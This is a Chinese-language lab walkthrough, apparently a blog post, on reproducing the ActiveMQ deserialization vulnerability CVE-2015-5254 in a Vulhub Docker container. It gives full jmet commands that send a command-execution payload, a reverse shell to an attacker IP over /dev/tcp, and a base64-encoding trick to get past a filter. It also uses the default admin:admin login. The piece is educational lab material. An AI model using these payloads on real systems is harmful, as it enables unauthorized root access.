不玩虚的不玩闹的,先安装好docker、docker-compose、pip(我的源没有更换,用的是新机默认源)
sudo apt-get install docker.io
service docker start
sudo apt install python3-pip 或 curl -s https://bootstrap.pypa.io/get-pip.py | python3
pip install docker-compose 或 sudo apt-get install docker-compose
到https://github.com/vulhub/vulhub将文件下载到虚拟机里
unzip /vulhub文件地址/
cd vulhub-master
然后用输入ls就能看到就能看到一大堆文件,这些文件就是各式各样的漏洞,漏洞复现方法呢都在官网https://vulhub.org/#/environments/能找到,看看就懂了,随便进到一个文件里面用四条命令启动就行
sudo docker-compose build //编译环境(可选)
sudo docker-compose up -d //启动容器
sudo docker-compose config //查看设置情况
sudo docker-compose down //关闭容器
第三条命令就是查看登录网址的端口号,漏洞环境地址都在 http://本地IP:第三条命令看到的端口号,或者是直接看官网文档怎么说就怎么搞,官方文件总是对的
ActiveMQ 反序列化漏洞复现该漏洞的原理原文就在这儿https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf,里面也提到了应该使用的工具等,注意该漏洞的实现需要java8环境,得先配置好java8环境。(一定要是java8!使用其他的版本后面会出大问题!)文件路径在activemq/CVE-2015-5254,话不多说,进去一探究竟
cd activemq/CVE-2015-5254/
sudo docker-compose up -d
输入URL:被攻击机IP:8161,进入主界面,四处点击看看可以发现这里有一个管理员的登录页面,账号密码都是:admin,弱口令常客了属于是,然后进到这个管理界面继续乱看一波,问就是:让我康康!
这大概网站内容也是经过“查看”基本了解了是干什么滴,基本就是一个消息互相发送的网站嘛,那我们就可以通过向他的工作端口发送序列化的有效负载,然后让管理员点击我们的消息即可触发漏洞
那么很多朋友就会问了,什么是有效负载?这些朋友就得好好理解什么叫消息的序列化和反序列化。
序列化就是将对象转化为字节流,字节流中包括这个对象的数据和信息。反序列化就是通过这条字节流的数据和信息,将它还原成一个类.那么如果开发者对数据得反序列化过程没有进行检查的话,那么恶意攻击者就可以构造特定的序列化内容,让其在反序列化中产生非预期的类或对象,这个类或对象在产生过程中就有可能带来任意代码执行。这就是反序列化漏洞的原理。
昂,大概这个意思,详细内容还是得自己好好看看嗷,这里讲的话就太多了,就不细说了,可以自己看这https://blog.csdn.net/qq_50620293/article/details/114982372。所以这个有效负载指的就是特定的序列化内容,我们可以通过工具jmet进行构造,在攻击机中输入
mkdir jmet
cd jmet
mkdir external
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar //下载jmet的jar文件
下载完后使用命令构造一个名为hacker的文件到61616端口
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/hacker” -Yp ROME 被攻击机的IP地址 61616
这个Q后面接的event就是队列的名称,登录到管理页面,点击Queues就能看到这个新建的队列event
点击进去查看消息,这时候这个序列化数据命令就已经成功执行
因为我们构造的恶意消息是 touch /tmp/hacker 就是在容器的tmp目录中创建一个名为hacker的文件,所以我们在被攻击机中输入以下命令查看容器文件内容
sudo docker-compose exec activemq bash //进入docker容器(可以使用sudo docker ps查看自己容器情况)
ls /tmp //查看tmp目录内容
然后就可以看到我们所创建的文件了
攻击机输入以下命令,监听端口等待连接(攻击机是kali)
nc -lvvp 4444
还是一样的步骤一样的原汁原味,在攻击机中输入反弹shell命令
java -jar jmet-0.1.0-all.jar -Q hacker -I ActiveMQ -s -Y “bash -i >& /dev/tcp/攻击机IP/4444 0>&1” -Yp ROME 被攻击机IP 61616
会发现什么都没有发生,但是在被攻击机中输入bash -i >& /dev/tcp/攻击机IP/4444 0>&1他是可以正常连接的,说明命令没有问题,那么唯一的可能就是存在了检验,不给执行该命令,所以我们可以进行简单的绕过,将命令进行base64编码
攻击机输入命令
java -jar jmet-0.1.0-all.jar -Q hacker -I ActiveMQ -s -Y “bash -c {echo,base64编码结果}|{base64,-d}|{bash,-i}” -Yp ROME 被攻击机IP 61616
管理员进入管理界面点击事件名为hacker的消息查看时执行命令,随后攻击机就可以连接上被攻击机了,而且此时还是以root权限进行的登录,都不用提权了



